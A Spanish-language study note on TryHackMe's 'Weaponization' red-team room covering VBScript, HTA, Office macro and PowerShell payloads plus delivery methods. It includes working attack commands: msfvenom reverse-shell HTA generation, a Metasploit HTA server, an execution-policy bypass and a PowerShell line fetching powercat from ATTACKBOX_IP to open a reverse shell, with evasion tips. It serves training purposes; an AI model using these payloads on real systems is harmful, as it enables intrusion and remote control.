Red Team

Weaponization

#endpoint#recon#redteam

Weaponization es la segunda fase del Cyber Kill Chain (Lockheed Martin). En esta etapa el atacante genera y desarrolla código malicioso encapsulado en payloads entregables (documentos Word…

Definición

Weaponization es la segunda fase del Cyber Kill Chain (Lockheed Martin). En esta etapa el atacante genera y desarrolla código malicioso encapsulado en payloads entregables (documentos Word, PDFs, scripts, etc.) con el objetivo de explotar la máquina target y obtener acceso inicial.

Contexto

  • La mayoría de organizaciones usa Windows, por lo que es el objetivo más común.
  • Las políticas corporativas suelen bloquear la ejecución de .exe, por lo que los red teamers recurren a técnicas alternativas basadas en tecnologías nativas de Windows.
  • Los payloads se entregan mediante: phishing, social engineering, explotación de browser/software, USB, o entrega web.
  • Esta nota es parte del Red Team Path (TryHackMe): Red Team FundamentalsRed Team Recon (THM) → Weaponization → Phishing (THM).

Técnicas de scripting en Windows

1) Windows Script Host (WSH)

WSH es el motor de scripting nativo de Windows que ejecuta VBScript (.vbs, .vbe) con el mismo nivel de permisos que el usuario actual.

  • wscript.exe — ejecuta scripts con interfaz gráfica (ventanas emergentes)
  • cscript.exe — ejecuta scripts en línea de comandos

Ejemplo básico — MessageBox:

Dim message
message = "Welcome to THM"
MsgBox message

Ejemplo — Ejecutar un binario:

Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName), 0, True

Ejecución:

Terminal window
wscript c:\Users\thm\Desktop\payload.vbs
cscript.exe c:\Users\thm\Desktop\payload.vbs

Evasión — ejecutar VBS renombrado a .txt:

Terminal window
wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

2) HTML Application (HTA)

HTA (HTML Application) son páginas HTML dinámicas con JScript/VBScript ejecutadas por el binario LOLBIN mshta.exe. Pueden descargarse y ejecutarse desde el navegador.

Ejemplo — ejecutar cmd.exe via ActiveX:

<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

Flujo de entrega:

Terminal window
# Atacante — servir el HTA desde servidor web
python3 -m http.server 8090
# Víctima — visita http://ATTACKER_IP:8090/payload.hta y pulsa "Run"

Reverse shell con msfvenom:

Terminal window
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f hta-psh -o thm.hta

Listener en el atacante:

Terminal window
sudo nc -lvp 443

HTA via Metasploit (módulo integrado):

Terminal window
use exploit/windows/misc/hta_server
set LHOST <IP>; set LPORT 443; set SRVHOST <IP>
set payload windows/meterpreter/reverse_tcp
exploit
# Genera URL tipo: http://<IP>:8080/TkWV9zkd.hta

3) Visual Basic for Applications (VBA) — Macros de Office

VBA es el lenguaje de macros de Microsoft Office (Word, Excel, PowerPoint). Permite acceder a la Windows API y ejecutar código con los permisos del usuario.

Macro básica — MsgBox:

Sub Document_Open()
THM
End Sub
Sub AutoOpen()
THM
End Sub
Sub THM()
MsgBox ("Welcome to Weaponization Room!")
End Sub
  • AutoOpen() y Document_Open() se ejecutan automáticamente al abrir el documento.
  • Guardar en formato macro-habilitado: .doc (Word 97-2003) o .docm.

Macro — ejecutar binario:

Sub PoC()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload, 0
End Sub

⚠️ Al abrir el archivo, Word muestra alerta de seguridad (“Macros have been disabled”). El usuario debe pulsar “Enable Content”.

Combinación: VBA puede combinarse con HTA y WSH para capas adicionales de evasión.

4) PowerShell (PSH)

PowerShell es un lenguaje orientado a objetos sobre el DLR de .NET, ampliamente usado en red teaming para acceso inicial, enumeración y post-explotación.

Política de ejecución:

Terminal window
# Ver política actual
Get-ExecutionPolicy
# → Restricted (bloquea scripts .ps1 por defecto)
# Cambiar política (requiere permisos)
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Bypass de Execution Policy:

Terminal window
# Ejecutar script con política bypass
powershell -ex bypass -File thm.ps1

Reverse shell con powercat:

Terminal window
# Atacante — clonar y servir powercat
git clone https://github.com/besimorhino/powercat.git
cd powercat && python3 -m http.server 8080
nc -lvp 1337
Terminal window
# Víctima — descargar y ejecutar
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd"

Command and Control (C2)

Los frameworks C2 son infraestructuras post-explotación que permiten a los red teamers controlar máquinas comprometidas y colaborar entre sí. Ver Command and Control (C2) para detalle completo.

Framework Tipo Notas
Cobalt Strike Comercial Adversary Simulation; beacons avanzados; reporting
PowerShell Empire Open-source Basado en PS/Python; foco en Windows/AD
Metasploit Open-source Multi-plataforma; amplio arsenal de exploits/payloads

Técnicas de entrega (Delivery)

Email Delivery (Phishing)

  • Payload adjunto (doc, xls, hta, vbs) o enlace a sitio malicioso.
  • Infraestructura recomendada: DKIM, SPF, DNS PTR para evitar spam filters.
  • Alternativa: cuenta de correo corporativa comprometida para mayor credibilidad.
  • Ver Phishing (THM) para detalle.

Web Delivery

  • Payload alojado en servidor controlado por el atacante.
  • Requiere: dominio con buena reputación + certificado TLS.
  • Se puede combinar con exploits de browser o zero-days.
  • MITRE: T1189.

USB Delivery

  • Requiere acceso físico (conferencias, eventos, oficinas).
  • Herramientas: Rubber Ducky (HID emulator), USBHarpoon, O.MG Cable.
  • MITRE: T1091.
  • Muchas organizaciones deshabilitan USB por política.

Process Migration (post-explotación)

Cuando el payload se ejecuta en un proceso de corta duración (p.ej. Word), es necesario migrar a otro proceso para mantener la persistencia:

Terminal window
# En Meterpreter
run post/windows/manage/migrate
# Migra a notepad.exe u otro proceso estable

Pitfalls / Errores comunes

  • Confiar en que VBA/VBS evadir la detección por sí solo (requieren combinación de técnicas y ofuscación adicional).
  • No migrar el proceso tras ejecutar el payload desde Word (el documento se cierra en 90 s en entornos controlados).
  • Usar la misma IP de LHOST en todas las pruebas (queda registrada en logs).
  • Ignorar la telemetría de Defender/EDR al generar payloads con msfvenom sin encoders ni evasión adicional.

Integración con otras notas

Diagrama

flowchart LR
    A[Objetivo de Initial Access] --> B{Método de entrega}
    B --> C[Email / Phishing]
    B --> D[Web]
    B --> E[USB]
    C --> F[Payload]
    D --> F
    E --> F
    F --> G[WSH/VBScript]
    F --> H[HTA / mshta]
    F --> I[VBA Macro]
    F --> J[PowerShell]
    G & H & I & J --> K[Ejecución en víctima]
    K --> L[C2 Callback]
    L --> M[Post-Explotación]

Referencias

  1. TryHackMe — Weaponization: https://tryhackme.com/room/weaponization
  2. Lockheed Martin Cyber Kill Chain: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html
  3. Red Teaming Toolkit (GitHub): https://github.com/infosecn1nja/Red-Teaming-Toolkit
  4. Powercat (GitHub): https://github.com/besimorhino/powercat
  5. Intro to C2 (TryHackMe): https://tryhackme.com/room/introtoc2
  6. MITRE ATT&CK T1059: https://attack.mitre.org/techniques/T1059/
  7. MITRE ATT&CK T1091 (USB): https://attack.mitre.org/techniques/T1091/
Título original en mis apuntes: Weaponization (THM)